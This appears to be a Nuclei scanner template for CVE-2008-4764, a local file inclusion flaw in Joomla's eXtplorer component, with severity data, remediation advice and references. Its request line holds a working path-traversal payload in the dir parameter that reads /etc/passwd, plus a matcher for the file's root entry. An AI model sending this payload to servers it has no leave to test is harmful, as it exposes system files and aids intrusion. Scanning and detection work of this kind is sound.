id: CVE-2008-4764

info:
  name: Joomla! <=2.0.0 RC2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! 2.0.0 RC2 and earlier are susceptible to local file inclusion in the eXtplorer module (com_extplorer) that allows remote attackers to read arbitrary files via a .. (dot dot) in the dir parameter in a show_error action.
  impact: |
    Attackers can read sensitive files on the server, potentially leading to information disclosure.
  remediation: |
    Upgrade Joomla! to a version higher than 2.0.0 RC2 to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/5435
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/41873
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4764
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-4764
    cwe-id: CWE-22
    epss-score: 0.16505
    epss-percentile: 0.96587
    cpe: cpe:2.3:a:extplorer:com_extplorer:*:rc2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: extplorer
    product: com_extplorer
  tags: cve,cve2008,edb,joomla,lfi,extplorer,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_extplorer&action=show_error&dir=..%2F..%2F..%2F%2F..%2F..%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220043bb3818da3460a9be46a84ee3be2e68f8f5953e4b4f25ad9475cba733c228402202bf2970fbd70d2611063aca688054cb2ac7554f5d2e2cdfa25445ba2e5892e5c:922c64590222798bb761d5b6d8e72950